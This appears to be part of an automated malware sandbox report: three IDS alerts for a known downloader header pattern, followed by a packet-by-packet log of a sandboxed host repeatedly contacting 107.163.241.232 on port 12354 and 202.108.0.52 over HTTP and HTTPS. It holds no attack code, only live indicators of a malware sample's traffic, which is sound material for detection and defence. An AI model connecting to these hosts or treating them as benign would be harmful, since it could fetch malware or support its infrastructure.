2024-12-11T16:29:11.528258+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	51379	107.163.241.232	12354	TCP
2024-12-11T16:29:14.746944+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	52868	107.163.241.232	12354	TCP
2024-12-11T16:29:14.826754+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	52871	107.163.241.232	12354	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 16:25:16.291127920 CET	49728	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:16.299592972 CET	49729	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:16.411238909 CET	12354	49728	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:16.411346912 CET	49728	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:16.411494970 CET	49728	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:16.419354916 CET	12354	49729	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:16.419461966 CET	49729	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:16.419553041 CET	49729	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:16.530816078 CET	12354	49728	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:16.539002895 CET	12354	49729	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:18.520802021 CET	12354	49728	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:18.524847031 CET	49728	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:18.536735058 CET	12354	49729	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:18.540757895 CET	49729	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:18.558994055 CET	49728	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:18.559165955 CET	49729	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:18.663608074 CET	49745	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:18.678591967 CET	49746	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:18.679052114 CET	12354	49728	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:18.679066896 CET	12354	49729	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:18.783233881 CET	12354	49745	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:18.784770966 CET	49745	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:18.784935951 CET	49745	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:18.798227072 CET	12354	49746	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:18.800743103 CET	49746	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:18.800875902 CET	49746	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:18.904299974 CET	12354	49745	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:18.920182943 CET	12354	49746	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:20.076040983 CET	49760	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:20.195461988 CET	80	49760	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:20.195599079 CET	49760	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:20.195691109 CET	49760	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:20.315011024 CET	80	49760	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:20.908732891 CET	12354	49745	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:20.908746958 CET	12354	49746	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:20.908813953 CET	49745	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:20.911411047 CET	49746	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:20.926237106 CET	49745	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:20.927680969 CET	49764	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:20.995496035 CET	49746	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:21.047938108 CET	12354	49745	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:21.049099922 CET	12354	49764	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:21.050401926 CET	49764	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:21.105307102 CET	49764	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:21.118709087 CET	12354	49746	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:21.127739906 CET	49766	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:21.224683046 CET	12354	49764	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:21.248739958 CET	12354	49766	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:21.248883963 CET	49766	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:21.249386072 CET	49766	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:21.369153976 CET	12354	49766	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:21.768717051 CET	80	49760	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:21.768778086 CET	49760	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:21.777507067 CET	49771	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:21.777559996 CET	443	49771	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:21.777626991 CET	49771	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:21.789951086 CET	49771	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:21.789982080 CET	443	49771	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:22.678750038 CET	49766	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:22.678811073 CET	49764	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:22.678848028 CET	49771	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:22.679821014 CET	49780	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:22.797485113 CET	49782	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:22.799331903 CET	49760	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:22.799890995 CET	49783	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:22.800801992 CET	12354	49780	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:22.800909042 CET	49780	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:22.801054001 CET	49780	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:22.917448044 CET	12354	49782	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:22.917644978 CET	49782	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:22.917860031 CET	49782	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:22.920177937 CET	80	49760	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:22.920362949 CET	80	49783	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:22.920414925 CET	49760	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:22.920483112 CET	49783	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:22.920645952 CET	49783	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:22.921324968 CET	12354	49780	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:23.037209034 CET	12354	49782	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:23.039859056 CET	80	49783	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:24.496742964 CET	80	49783	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:24.500256062 CET	49783	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:24.504151106 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:24.504194975 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:24.504354000 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:24.504862070 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:24.504878044 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:24.934426069 CET	12354	49780	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:24.934602022 CET	49780	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:24.934704065 CET	49780	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:24.935969114 CET	49798	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:25.055356026 CET	12354	49780	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:25.055376053 CET	12354	49798	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:25.055624962 CET	49798	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:25.064681053 CET	12354	49782	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:25.067327023 CET	49782	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:25.068732023 CET	49798	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:25.070947886 CET	49782	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:25.074580908 CET	49801	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:25.188205957 CET	12354	49798	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:25.190748930 CET	12354	49782	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:25.194756985 CET	12354	49801	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:25.194854975 CET	49801	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:25.195028067 CET	49801	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:25.315443993 CET	12354	49801	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:26.275515079 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:26.276349068 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:26.276885033 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:26.277952909 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:26.690849066 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:26.690872908 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:26.691216946 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:26.691281080 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:26.713071108 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:26.746730089 CET	49801	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:26.746782064 CET	49798	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:26.755332947 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:26.760732889 CET	49814	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:26.880140066 CET	12354	49814	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:26.880637884 CET	49814	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:26.888641119 CET	49814	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:26.891900063 CET	49816	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:27.008372068 CET	12354	49814	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:27.011666059 CET	12354	49816	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:27.011755943 CET	49816	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:27.043328047 CET	49816	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:27.163275957 CET	12354	49816	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:27.348906040 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:27.348970890 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:27.348985910 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:27.349030018 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:27.349365950 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:27.349410057 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:27.349411011 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:27.349450111 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:27.351861954 CET	49794	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:27.351875067 CET	443	49794	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:27.473671913 CET	49823	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:27.474647999 CET	49783	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:27.593456030 CET	80	49823	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:27.594495058 CET	80	49783	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:27.594944954 CET	49783	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:27.595326900 CET	49823	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:27.595911980 CET	49823	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:27.722249985 CET	80	49823	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:29.001579046 CET	12354	49814	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:29.001765013 CET	49814	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:29.008750916 CET	49814	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:29.009409904 CET	49842	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:29.126256943 CET	12354	49816	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:29.126404047 CET	49816	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:29.178617001 CET	80	49823	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:29.179579020 CET	49823	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:29.232909918 CET	49816	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:29.244472980 CET	12354	49814	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:29.244489908 CET	12354	49842	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:29.244606018 CET	49842	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:29.244796038 CET	49842	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:29.285448074 CET	49845	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:29.285506964 CET	443	49845	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:29.285736084 CET	49845	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:29.322510958 CET	49845	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:29.322535992 CET	443	49845	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:29.336991072 CET	49846	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:29.363569021 CET	12354	49816	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:29.364227057 CET	12354	49842	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:29.456679106 CET	12354	49846	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:29.460743904 CET	49846	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:29.469207048 CET	49846	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:29.593017101 CET	12354	49846	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:31.025547028 CET	443	49845	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:31.028704882 CET	49845	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:31.042943001 CET	49845	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:31.042956114 CET	443	49845	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:31.049784899 CET	49845	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:31.049797058 CET	443	49845	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:31.391429901 CET	12354	49842	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:31.391593933 CET	49842	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:31.453741074 CET	49842	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:31.454562902 CET	49867	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:31.572978020 CET	12354	49842	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:31.573832035 CET	12354	49867	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:31.573915958 CET	49867	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:31.580581903 CET	12354	49846	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:31.580672026 CET	49846	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:31.632829905 CET	49867	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:31.633069038 CET	49846	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:31.644651890 CET	49870	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:31.752099991 CET	12354	49867	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:31.752302885 CET	12354	49846	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:31.764002085 CET	12354	49870	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:31.764075041 CET	49870	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:31.765131950 CET	49870	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:31.884470940 CET	12354	49870	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:31.930476904 CET	443	49845	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:31.930529118 CET	49845	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:31.930541992 CET	443	49845	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:31.930552959 CET	443	49845	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:31.930581093 CET	49845	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:31.930605888 CET	49845	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:31.930933952 CET	49845	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:31.930949926 CET	443	49845	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:32.044795036 CET	49823	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:32.045234919 CET	49874	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:32.166110039 CET	80	49874	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:32.166126013 CET	80	49823	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:32.166217089 CET	49823	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:32.166249990 CET	49874	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:32.166564941 CET	49874	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:32.286400080 CET	80	49874	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:33.240715981 CET	49874	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:33.240715981 CET	49867	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:33.240937948 CET	49870	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:33.241440058 CET	49888	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:33.355604887 CET	49891	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:33.355878115 CET	49892	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:33.360712051 CET	12354	49888	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:33.364753962 CET	49888	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:33.365128994 CET	49888	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:33.476197004 CET	12354	49891	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:33.476327896 CET	80	49892	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:33.476450920 CET	49891	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:33.476635933 CET	49892	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:33.476993084 CET	49891	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:33.477128983 CET	49892	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:33.486107111 CET	12354	49888	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:33.596510887 CET	12354	49891	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:33.596544981 CET	80	49892	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:35.045344114 CET	80	49892	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:35.045485973 CET	49892	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:35.047983885 CET	49905	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:35.048043966 CET	443	49905	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:35.048501015 CET	49905	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:35.048762083 CET	49905	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:35.048779011 CET	443	49905	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:35.469927073 CET	12354	49888	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:35.470357895 CET	49888	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:35.470357895 CET	49888	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:35.471203089 CET	49914	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:35.578665972 CET	12354	49891	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:35.578974962 CET	49891	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:35.578975916 CET	49891	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:35.590044975 CET	12354	49888	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:35.590540886 CET	12354	49914	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:35.590709925 CET	49914	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:35.600193024 CET	49914	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:35.614973068 CET	49916	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:35.698425055 CET	12354	49891	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:35.720042944 CET	12354	49914	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:35.735167027 CET	12354	49916	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:35.735307932 CET	49916	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:35.735488892 CET	49916	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:35.881426096 CET	12354	49916	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:36.752626896 CET	443	49905	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:36.752943039 CET	49905	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:36.753484011 CET	49905	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:36.753494978 CET	443	49905	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:36.760426044 CET	49905	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:36.760451078 CET	443	49905	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:37.256053925 CET	49905	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:37.256091118 CET	49916	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:37.256202936 CET	49914	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:37.257021904 CET	49932	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:37.377610922 CET	12354	49932	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:37.377691031 CET	49932	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:37.378293037 CET	49932	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:37.483916044 CET	49938	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:37.484177113 CET	49892	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:37.484502077 CET	49939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:37.500704050 CET	12354	49932	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:37.603377104 CET	12354	49938	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:37.603458881 CET	49938	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:37.604398012 CET	80	49939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:37.604477882 CET	49939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:37.604839087 CET	80	49892	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:37.604897976 CET	49892	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:37.605861902 CET	49938	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:37.606352091 CET	49939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:37.728650093 CET	12354	49938	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:37.728666067 CET	80	49939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:39.188410044 CET	80	49939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:39.188600063 CET	49939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:39.191287041 CET	49956	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:39.191333055 CET	443	49956	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:39.191428900 CET	49956	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:39.191761017 CET	49956	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:39.191771984 CET	443	49956	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:39.500355005 CET	12354	49932	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:39.500437021 CET	49932	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:39.500824928 CET	49932	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:39.502939939 CET	49959	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:39.620172024 CET	12354	49932	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:39.622231007 CET	12354	49959	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:39.622334957 CET	49959	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:39.622848034 CET	49959	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:39.735778093 CET	12354	49938	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:39.736316919 CET	49938	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:39.742587090 CET	12354	49959	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:39.754925966 CET	49938	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:39.755340099 CET	49966	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:39.874382019 CET	12354	49938	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:39.874895096 CET	12354	49966	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:39.874977112 CET	49966	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:39.875114918 CET	49966	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:39.994400978 CET	12354	49966	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:40.896367073 CET	443	49956	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:40.896456957 CET	49956	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:40.897018909 CET	49956	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:40.897023916 CET	443	49956	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:40.898793936 CET	49956	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:40.898797989 CET	443	49956	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:41.383140087 CET	49966	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:41.383188963 CET	49959	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:41.383194923 CET	49956	443	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:41.388885021 CET	49983	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:41.496917963 CET	49985	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:41.497006893 CET	49939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:41.497338057 CET	49986	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:41.508567095 CET	12354	49983	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:41.508682013 CET	49983	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:41.508801937 CET	49983	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:41.616389990 CET	12354	49985	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:41.616631031 CET	49985	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:41.616710901 CET	49985	12354	192.168.2.5	107.163.241.232
Dec 11, 2024 16:25:41.616727114 CET	80	49939	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:41.616766930 CET	80	49986	202.108.0.52	192.168.2.5
Dec 11, 2024 16:25:41.616794109 CET	49939	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:41.616853952 CET	49986	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:41.617083073 CET	49986	80	192.168.2.5	202.108.0.52
Dec 11, 2024 16:25:41.628087997 CET	12354	49983	107.163.241.232	192.168.2.5
Dec 11, 2024 16:25:41.737076998 CET	12354	49985	107.163.241.232	192.168.2.5
